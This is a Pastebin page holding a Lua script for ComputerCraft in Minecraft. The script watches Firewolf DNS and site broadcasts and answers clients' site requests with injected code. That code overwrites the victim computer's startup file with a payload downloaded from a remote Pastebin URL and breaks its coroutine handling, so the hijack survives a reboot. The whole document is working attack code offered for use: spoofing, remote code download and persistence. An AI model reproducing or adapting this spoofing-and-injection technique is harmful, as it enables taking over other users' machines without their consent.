Advertisement
killer64

Untitled

Jan 1st, 2014
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. while turtle.up() do sleep(0) end
  2. main=[[
  3. local g=_G
  4. local f=g.coroutine.yield
  5. g.coroutine.yeild=function() end
  6. local file=g.fs.open("startup","w")
  7. file.write((http.get("http://pastebin.com/raw.php?i=TmRgjvv6").readAll().." shell.run('startup')"))
  8. file.close()
  9. g.coroutine.yield=function( ... ) error("") end
  10. g.os.pullEvent=f
  11. while true do os.pullEvent() end
  12. ]]
  13. local modem
  14. for k,v in pairs(rs.getSides()) do
  15. if peripheral.getType(v)=="modem" then
  16. modem=peripheral.wrap(v)
  17. end
  18. end
  19.  
  20. if term.isColor() then
  21. term.setTextColor(colors.lime)
  22. else
  23. print("")
  24. end
  25. modem.open(65535)
  26. local req={}
  27. local treq={}
  28. local webs={}
  29. while true do
  30. local p={os.pullEvent()}
  31. if p[1]=="modem_message" then
  32. if p[5]=="firewolf.broadcast.dns.list" then
  33. req[p[4]]=true
  34. treq[os.startTimer(0.5)]=p[4]
  35. modem.open(p[4])
  36. elseif string.sub(p[5],1,14)=="firewolf-site:" and req[p[3]] then
  37. webs[string.sub(p[5],15,-1)]=p[4]
  38. modem.open(p[4])
  39. print("SITE: "..p[5])
  40. elseif webs[p[5]]==p[3] then
  41. modem.transmit(p[4],webs[p[5]],main)
  42. print("CODE INJECT!")
  43. end
  44. elseif p[1]=="timer" then
  45. if treq[p[2]] then
  46. req[treq[p[2]]]=nil
  47. modem.close(treq[p[2]])
  48. print("PASS!")
  49. end
  50. end
  51. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement